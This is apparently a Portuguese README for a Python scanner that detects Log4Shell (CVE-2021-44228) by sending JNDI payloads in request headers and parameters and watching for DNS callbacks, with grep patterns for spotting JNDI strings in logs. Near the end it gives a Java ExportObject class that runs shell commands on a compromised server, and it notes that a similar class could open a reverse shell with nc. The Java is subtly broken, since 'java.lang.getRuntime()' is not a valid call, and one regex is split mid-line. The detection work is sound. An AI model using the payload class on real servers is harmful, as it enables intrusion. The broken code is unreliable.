
Scanner Python multithread que deteta o Log4Shell (CVE-2021-44228) ao enviar pedidos HTTP personalizados com payloads JNDI e monitorizando callbacks DNS para identificar hosts vulneráveis.
Este script é baseado em takito1812/log4j-detect
O script "log4j-detect.py" desenvolvido em Python 3 é responsável por detectar se uma lista de URLs é vulnerável à CVE-2021-44228.
Para isso, ele envia uma requisição GET usando threads (maior desempenho) para cada uma das URLs da lista especificada. A requisição GET contém um payload que, em caso de sucesso, retorna uma requisição DNS para o Burp Collaborator / interactsh. Esse payload é enviado em um parâmetro de teste e nos cabeçalhos "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication". Por fim, se um host for vulnerável, um número de identificação aparecerá no prefixo do subdomínio do payload do Burp Collaborator / interactsh e na saída do script, permitindo saber qual host respondeu via DNS.
Deve-se notar que este script apenas lida com a detecção da vulnerabilidade via DNS e não testa a execução remota de comandos.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
Para verificar se alguém tentou fazer uma conexão através de um servidor ldap
Aqui está um exemplo de código que você pode executar para testar se o seu servidor pode ser comprometido (Se for um shell do Windows, você pode usar a sintaxe do PowerShell)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Algo assim poderia permitir que você fizesse um reverse shell com o comando nc